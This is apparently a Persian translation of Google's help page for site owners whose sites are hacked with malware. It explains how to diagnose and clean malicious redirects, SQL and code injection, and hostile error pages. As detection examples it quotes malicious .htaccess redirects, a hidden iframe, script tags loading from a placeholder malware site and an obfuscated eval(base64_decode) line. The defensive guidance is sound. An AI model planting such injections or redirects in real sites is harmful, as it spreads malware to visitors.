هک شده با بدافزار

بدافزار به هر نرم افزار یا برنامه تلفن همراهی گفته می شود که به طور خاص برای آسیب رساندن به رایانه، دستگاه تلفن همراه، نرم افزاری که در حال اجراست یا کاربران آن طراحی شده است. برای اطلاعات بیشتر در مورد بدافزار چیست، بدافزار و نرم افزارهای ناخواسته را ببینید.

اگر سایت شما حاوی بدافزار باشد، کاربران معمولاً هشدار «این سایت ممکن است به رایانه شما آسیب برساند» را می بینند که در نتایج جستجو یا در یک صفحه بینابینی که توسط مرورگر نشان داده شده است، زمانی که کاربر تلاش می کند از سایت شما بازدید کند، نمایش داده می شود، چیزی شبیه به این:

نماینده صفحه بینابینی بدافزار
نتایج جستجو با هشدار بدافزار.

شما به موارد زیر نیاز خواهید داشت:

  • دسترسی سرپرست پوسته یا ترمینال به سرورهای سایت شما: وب، پایگاه داده و فایل‌ها.
  • آشنایی با دستورات پوسته یا ترمینال
  • امکان اجرای پرس و جوهای SQL در پایگاه داده.

آماده سازی

  • برای کنسول جستجو ثبت نام کنید و مالکیت سایت هک شده خود را همانطور که در آنجا توضیح داده شده است تأیید کنید. کنسول جستجو نمونه ای از صفحات آسیب دیده را ارائه می دهد که پیدا کردن و رفع مشکلات هک شده با بدافزار را بسیار آسان تر می کند. علاوه بر این، زمانی که سایت شما تحت تاثیر انواع بدافزارها یا سایر هک ها قرار گرفته است به شما هشدار داده می شود.
  • صفحه تشخیصی مرور ایمن Google را مشاهده کنید تا اطلاعات عمومی درباره مضر بودن یک سایت برای کاربران را ببینید. می‌توانید وضعیت فهرست‌بندی صفحه یا سایت خود را در https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** اینترنتی مشابه این مشاهده کنید: مثال: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> می تواند یک URL صفحه خاص ( http://example.com/badpage ) یا کل سایت شما (example.com) باشد.

  • برای مشاهده صفحات سایت خود از مرورگر استفاده نکنید. از آنجایی که بدافزار اغلب با سوء استفاده از آسیب پذیری های مرورگر منتشر می شود، باز کردن یک صفحه آلوده به بدافزار در مرورگر ممکن است به رایانه شما آسیب برساند. برای انجام درخواست‌های HTTP (مثلاً برای واکشی صفحه) از cURL یا Wget استفاده کنید، مگر اینکه دستورالعمل‌های عیب‌یابی بگوید که مستقیماً در مرورگر خود به صفحه دسترسی داشته باشید.

    این ابزارهای رایگان در دسترس برای تشخیص تغییر مسیرها مفید هستند و انعطاف پذیری برای گنجاندن اطلاعات ارجاع دهنده یا عامل کاربر دارند. گنجاندن یک ارجاع دهنده یا عامل کاربر خاص برای تقلید از هکرها مفید است، زیرا هکرها ممکن است فقط محتوای مخرب را به کاربرانی با عوامل کاربر یا ارجاع دهندگان خاص ارائه دهند تا "افراد واقعی" بیشتری را هدف قرار دهند و از شناسایی صاحبان سایت و اسکنرهای بدافزار جلوگیری کنند.

`curl -v --referer "http://www.google.com" <your-url>`

در اینجا یک مثال آورده شده است که هم عامل کاربر و هم یک ارجاع دهنده را مشخص می کند:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

توصیه می‌کنیم صفحه‌ای را با و بدون --referer "https://www.google.com" واکشی کنید، زیرا برخی بدافزارها فقط زمانی فعال می‌شوند که کاربران از نتایج جستجوی Google آمده باشند.

  • یک سند برای ثبت یافته های این مرحله ایجاد کنید. این سند در نهایت شامل (حداقل) نام و مکان هر فایل آسیب‌دیده و یادداشت‌هایی در مورد نحوه آلوده شدن آن می‌شود و به عنوان مبنایی برای پاکسازی و نگهداری سایت شما عمل می‌کند.

  • ویدیوی قبلی را در این صفحه تماشا کنید تا ببینید بدافزار چگونه کار می کند و چگونه می توانید در طول بررسی بدافزار خود ایمن بمانید.

تشخیص

تعیین کنید کدام بدافزار بر سایت شما تأثیر می گذارد:

  1. گزارش مشکلات امنیتی سایت خود را در کنسول جستجو باز کنید. شرح هشدار بدافزار را گسترش دهید تا فهرستی از صفحات نمونه آسیب دیده را ببینید. توجه داشته باشید که این فهرست جامع نیست. ممکن است صفحات نمونه ای برای انواع بدافزارها در سایت خود دریافت نکنید.
  2. صفحات نمونه خود را برای انواع بدافزار زیر آزمایش کنید.

بدافزار پیکربندی سرور (تغییر مسیرهای ناخواسته)

یک هکر سایت شما را به خطر انداخته است و بازدیدکنندگان را از سایت خوب شما به سایت حمله بدافزار خود هدایت می کند، احتمالاً با تغییر فایل(های) پیکربندی سرور شما. فایل های پیکربندی سرور معمولاً به مدیر سایت اجازه می دهد تا تغییر مسیرهای URL را برای صفحات یا دایرکتوری های خاص در یک وب سایت مشخص کند. برای مثال، در سرورهای آپاچی، این فایل .htaccess و همچنین httpd.conf است.

تشخیص

از برخی از URL های نمونه نشان داده شده در گزارش مشکلات امنیتی دیدن کنید. پاسخ از یک صفحه آلوده به عفونت "پیکربندی سرور" ممکن است شامل سرصفحه های زیر باشد:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

فایل های آسیب دیده را تعیین کنید

از طریق دسترسی پوسته یا ترمینال به سرور خود وارد شوید (در صورت تمایل سایت می تواند آفلاین باشد) و فایل های پیکربندی سرور مربوطه را بررسی کنید. ممکن است بیش از یک فایل پیکربندی سرور هک شده در سایت شما وجود داشته باشد. این فایل ها را برای دستورالعمل های ناخواسته، مانند تغییر مسیر به سایت های ناشناس، بررسی کنید. به عنوان مثال، در فایل .htaccess . ممکن است تغییر مسیری را مشاهده کنید که به شکل زیر است:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

تزریق SQL

یک هکر پایگاه داده سایت شما را به خطر انداخته است. به عنوان مثال، هکر ممکن است به صورت برنامه‌نویسی کدهای مخرب را در هر رکورد از جدول پایگاه داده وارد کرده باشد، به طوری که وقتی سرور صفحه‌ای را بارگیری می‌کند که به اطلاعاتی از پایگاه داده نیاز دارد، کد مخرب اکنون در محتوای صفحه جاسازی شده است و می‌تواند به بازدیدکنندگان سایت آسیب برساند.

تشخیص

  1. برخی از پرس و جوها را روی URL های آسیب دیده در خط فرمان اجرا کنید و پاسخ کلمات حمله SQL مانند "iframe" یا "eval" را بررسی کنید.
  2. وارد سرور پایگاه داده خود شوید یا پایگاه داده خود را از طریق ابزاری مانند phpMyAdmin مشاهده کنید. اگر از Wget یا cURL استفاده کرده اید، سعی کنید آسیب های موجود در کد منبع صفحه را از طریق Wget یا cURL با ورودی های پایگاه داده واقعی مرتبط کنید. به عنوان مثال، اگر متوجه شدید که صفحات شما حاوی یک iframe خطرناک است، می توانید یک پرس و جوی SQL را برای جستجوی کد iframe انجام دهید. مثلا:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. همچنین ممکن است بخواهید گزارش پایگاه داده و فایل های خطا روی سرور خود را برای فعالیت غیرمعمول، مانند دستورات SQL غیرمنتظره که برای کاربران عادی غیرمعمول به نظر می رسد یا خطاها، بررسی کنید.

مشکل را برطرف کنید

یا هر رکورد پایگاه داده آلوده را به روز کنید یا آخرین نسخه پشتیبان از پایگاه داده شناخته شده خود را بازیابی کنید.

تزریق کد

صفحات موجود در سایت شما به گونه ای تغییر یافتند که شامل کدهای مخرب مانند iframe به یک سایت حمله بدافزار باشد.

تشخیص

به برخی از URLهای نمونه نشان داده شده در گزارش مشکلات امنیتی با cURL یا wGet مراجعه کنید و کد مشکوک را بررسی کنید. کد تزریق شده می تواند انواع مختلفی داشته باشد و یافتن آن دشوار است. جستجوی کلماتی مانند "iframe" برای یافتن کد iframe ممکن است مفید باشد. کلیدواژه های مفید دیگر «اسکریپت»، «eval» و «unescape» هستند. برای مثال، برای جستجوی تمام فایل‌ها برای «iframe» در سیستم‌های مبتنی بر یونیکس:

$grep -irn "iframe" ./ | less</pre>

در اینجا برخی از الگوهای رایج بدافزار وجود دارد که باید به دنبال آنها باشید.

یک iframe که یک سایت مخرب را بارگیری می کند:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

جاوا اسکریپت یا زبان برنامه نویسی دیگری که اسکریپت ها را از یک سایت حمله فراخوانی و اجرا می کند:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

اسکریپتی که مرورگر را به یک سایت حمله هدایت می کند:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

کد مخربی که برای جلوگیری از شناسایی مبهم شده است:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

فایل‌های شی مشترک که برای نوشتن تصادفی کدهای مضر روی اسکریپت‌های بی‌خطر طراحی شده‌اند:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

الگوهای خطای مخرب

الگوی مورد استفاده برای پیام های خطا، مانند 404 File Not Found، برای توزیع بدافزار پیکربندی شده است. به این ترتیب، مهاجمان می توانند به URL هایی که حتی در سایت شما وجود ندارند، حمله کنند.

تشخیص

صفحه‌ای را در سایت خود درخواست کنید که وجود ندارد یا نوع دیگری از خطا را ایجاد می‌کند و پاسخ را بررسی کنید تا ببینید آیا از سایت دیگری می‌آید یا حاوی بدافزار است.

مشکل را برطرف کنید

به وب سرور خود وارد شوید و فایل های پیکربندی سرور خود را برای دستورالعمل های صفحه خطا جستجو کنید. به عنوان مثال، الگوی خطا برای وب سرورهای آپاچی را می توان در فایل .htaccess اعلام کرد. در اینجا یک نمونه از ورودی فایل .htaccess است که 404 صفحه خطا را از یک سایت مخرب بازیابی می کند:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

هنگامی که آماده تمیز کردن سایت خود هستید، یا فایل(های) .htaccess را با یک نسخه پشتیبان خوب شناخته شده جایگزین کنید، یا دستورالعمل های ErrorDocument ناخواسته را در فایل(های) .htaccess موجود حذف کنید. اگر فایل های خطای واقعی در سایت شما وجود دارد، حتماً پاک کنید. در نهایت، وب سرور خود را مجددا راه اندازی کنید تا مطمئن شوید که همه تغییرات اعمال می شوند.

بارگیری منابع از یک سایت در معرض خطر یا مخرب {compromised-resources}

سایت شما از محتوا یا منابع یک وب سایت استفاده می کند که حاوی محتوای مخرب شناخته شده است. اینها می توانند فایل های جاوا اسکریپت، تصاویر یا فایل های دیگر باشند. به همین دلیل، سایت شما برای بدافزار بارگذاری شده از آن سایت دیگر پرچم گذاری می شود.

تشخیص

از برخی از URL های نمونه نشان داده شده در گزارش مشکلات امنیتی دیدن کنید.

مشکل را برطرف کنید

  1. با مرور چند URL نمونه فهرست شده در گزارش مشکلات امنیتی در کنسول جستجو، مشکل را تأیید کنید. باید اخطار مرورگر را ببینید.
  2. اخطار مرورگر دامنه محتوای مشکوک را به شما می گوید. تمام ارجاعات به سایت پرچمدار فهرست شده در هشدار مرورگر را حذف کنید. اگر محتوای یک سایت پرچم‌دار بدون اطلاع شما گنجانده شده است، مشکل جدی‌تر است. سایت شما به احتمال زیاد در معرض خطر قرار گرفته است و باید به بررسی سایت خود برای سایر هک ها و آسیب پذیری ها ادامه دهید.
  3. اگر عمداً محتوایی را از یک سایت قانونی که پرچم‌گذاری شده است وارد کرده‌اید و می‌خواهید پس از پاک‌سازی سایت پرچم‌گذاری‌شده مجدداً آن را درج کنید، می‌توانید با استفاده از صفحه تشخیصی مرور ایمن Google برای آن سایت، وضعیت سایت پرچم‌گذاری شده را کنترل کنید ( http://www.google.com/safebrowsing/diagnostic?site=www.example.com ){:.external}. صاحبان سایت های قانونی معمولاً آنها را به سرعت تمیز می کنند.

بررسی تکمیلی

در مرحله بعد، فایل های مخرب اضافی یا تغییرات را در سیستم خود بررسی کنید. هکر ممکن است صفحات یا سوابق پایگاه داده موجود را تغییر داده باشد، صفحات اسپم کاملا جدید ایجاد کرده باشد، توابعی نوشته باشد که هرزنامه را در صفحات تمیز نمایش می دهد، یا "درهای پشتی" را گذاشته باشد که به هکر اجازه ورود مجدد به سایت شما را می دهد، یا کدهای مخرب را دوباره تزریق می کند. که شما حذف کرده اید

اگر سایت شما آنلاین است، برای این تحقیق آن را آفلاین کنید.

اگر یک نسخه پشتیبان خوب شناخته شده از سایت خود دارید، مشخص کنید که کدام فایل ها از زمان پشتیبان گیری ایجاد یا تغییر یافته اند و آنها را بررسی کنید. در سیستم‌های مبتنی بر یونیکس، می‌توانید از دستوری مانند زیر برای یافتن فایل‌های جدید استفاده کنید:

diff -qr <current-directory> <backup-directory>

مثلا:

diff -qr www/ backups/full-backup-20120124/

همچنین:

md5sum <current-page> <backup-page>

مثلا:

md5sum www/page.html backups/full-backup-20120124/page.html

گزارش‌های سرور، دسترسی و خطا را برای هرگونه فعالیت مشکوک مانند تلاش‌های ناموفق برای ورود به سیستم، تاریخچه فرمان (مخصوصاً به عنوان root) و ایجاد حساب‌های کاربری ناشناخته بررسی کنید . توجه داشته باشید که هکر ممکن است این گزارش ها را برای اهداف خود تغییر داده باشد. چند نمونه در ویدیوی شناسایی آسیب پذیری نشان داده شده است.

فایل های پیکربندی را برای تغییر مسیرها بررسی کنید . فایل های پیکربندی شما معمولاً .htaccess و httpd.conf نام دارند. هکرها اغلب تغییر مسیرهای مشروط را بر اساس عامل کاربر، زمان روز یا ارجاع دهنده ایجاد می کنند. اگر نیاز به به روز رسانی فایل های پیکربندی دارید، ممکن است لازم باشد سرور خود را مجددا راه اندازی کنید تا تغییرات شما اعمال شود.

مجوزهای پوشه و فایل بیش از حد ملایم را بررسی کنید. هکرها مجوزها را دستکاری می کنند زیرا اگر مجوزهای ملایم توسط مالک سایت شناسایی نشود، هکر راهی برای ورود مجدد به سایت خواهد داشت. فایل های بزرگتر از 644 (rw-r--r--) و پوشه های بزرگتر از 755 (rwxr-xr-x) می توانند مشکلات امنیتی ایجاد کنند. مطمئن شوید که هر گونه مجوز آزادتر واقعاً ضروری است. در سیستم های مبتنی بر یونیکس، سعی کنید:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

و:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

اگر پایگاه داده دارید، با استفاده از ابزاری مانند phpMyAdmin ، رکورد به رکورد را بررسی کنید.